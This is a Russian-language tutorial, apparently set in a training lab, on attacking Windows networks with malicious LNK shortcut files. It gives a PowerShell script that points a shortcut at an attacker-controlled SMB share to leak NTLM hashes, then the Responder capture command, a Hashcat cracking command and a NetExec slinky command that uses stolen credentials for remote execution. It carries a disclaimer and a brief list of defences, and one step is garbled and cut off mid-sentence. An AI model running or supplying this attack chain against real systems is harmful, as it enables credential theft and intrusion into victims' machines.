Атака через LNK-файл
❗ Данный материал предоставлен исключительно в образовательных целях. Использование этих техник в незаконных целях является нарушением закона!
Атака с использованием LNK-файла (ярлыка Windows) задействует вредоносные ярлыки Windows для выполнения команд, доставки полезной нагрузки или захвата учетных данных жертвы. Когда жертва открывает LNK-файл, он может автоматически инициировать подключение к серверу атакующего или выполнить опасный код.
Этапы атаки через LNK-файл
Шаг 1: Создание вредоносного LNK-файла
Злоумышленник создаёт LNK-файл, который ссылается на сетевой ресурс, находящийся под его контролем. Этот файл может скрывать вызов SMB- или WebDAV-запроса, что позволяет атакующему перехватить хэши учетных данных жертвы.
$objShell = New-Object -ComObject WScript.shell
$lnk = $objShell.CreateShortcut("C:\test.lnk")
$lnk.TargetPath = "\\192.168.92.132\~test.png" # Указание на сетевой ресурс злоумышленника
$lnk.WindowStyle = 1 # Установка обычного стиля окна
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3" # Назначение значка ярлыка
$lnk.Description = "Test" # Описательный текст для сочетания клавиш
$lnk.HotKey = "Ctrl+Alt+T" # Установка хоткея для сочетания клавиш
$lnk.Save() # Сохранение LNK-файла- New-Object -ComObject WScript.shell — создаёт объект для взаимодействия с Windows Shell.
- CreateShortcut("C:\test.lnk") — создаёт LNK-файл по указанному пути.
- TargetPath = "\\192.168.92.132\~test.png" — указывает путь к сетевому ресурсу атакующего.
Другие параметры, такие как WindowStyle, IconLocation и HotKey, являются косметическими настройками, которые делают ярлык похожим на легитимный.
Шаг 2: Проверка существования вредоносного файла
После создания LNK-файла перейдите в папку, где он был создан. На машине атакующего с Kali проверьте папку HYDRA-DC.
Затем откройте папку hackme, чтобы убедиться, что файл ~test.png существует. Этот файл будет передан жертве при открытии LNK-файла. Как жертва взаимодействует с файлом **~test.
Шаг 3: Запуск Responder для перехвата хэшей
Responder — это инструмент, который перехватывает NTLM-хэши учетных записей, когда жертва пытается аутентифицироваться через SMB или WebDAV.
sudo responder -I eth0 -dp
- `-I eth0` — указывает сетевой интерфейс для прослушивания.
- `-dp` — активирует перехват SMB- и DNS-запросов.
Когда жертва открывает вредоносный LNK-файл, система автоматически отправляет SMB-запрос, и **Responder** перехватывает NTLM-хэш учетных данных.
Более детализированный режим работы:sudo responder -I eth0 -dpV
- `-V` — активирует подробный вывод захваченных данных.
Шаг 4: Анализ перехваченных хэшей
Проверяя вывод Responder, атакующий может увидеть захваченные NTLM-хэши и использовать их для последующего взлома пароля с помощью таких инструментов, как Hashcat или **John the Ripper.
Пример атаки на хэши с помощью Hashcat:hashcat -m 5600 captured_hashes.txt rockyou.txt --force
- `-m 5600` — указывает NTLMv2-хэши.
- `rockyou.txt` — словарь паролей.
Шаг 5: Использование NetExec для выполнения команд
NetExec — инструмент, аналогичный CrackMapExec, который позволяет атакующему удалённо выполнять команды на машине жертвы.
Пример выполнения команды через NetExec:netexec smb 192.168.92.128 -d marvel.local -u fcastle -p Password1 -M slinky -o NAME=test SERVER=192.168.92.129
- `192.168.92.128` — IP-адрес жертвы.
- `-d marvel.local` — домен цели.
- `-u fcastle -p Password1` — учетные данные.
- `-M slinky` — указывает вредоносный модуль.
- `-o NAME=test SERVER=192.168.92.129` — передача параметров в модуль **slinky**.
Если команда выполнена успешно, атакующий может продолжить эксплуатацию системы жертвы или выполнить эксфильтрацию данных.
Вывод
Атака через LNK-файл — эффективный метод компрометации системы, который часто используется для:
✅ Захвата NTLM-хэшей учетных данных.
✅ Доставки вредоносного кода.
✅ Удалённого выполнения команд на машине жертвы.
⚠️ Меры защиты:
- Отключение SMBv1 и ограничение аутентификации по NTLM.
- Предотвращение автоматического открытия ярлыков из ненадежных источников.
- Использование сетевых фильтров и мониторинг подозрительных активностей.
- Жёсткое администрирование групповых политик (GPO) для блокировки выполнения неизвестных ярлыков.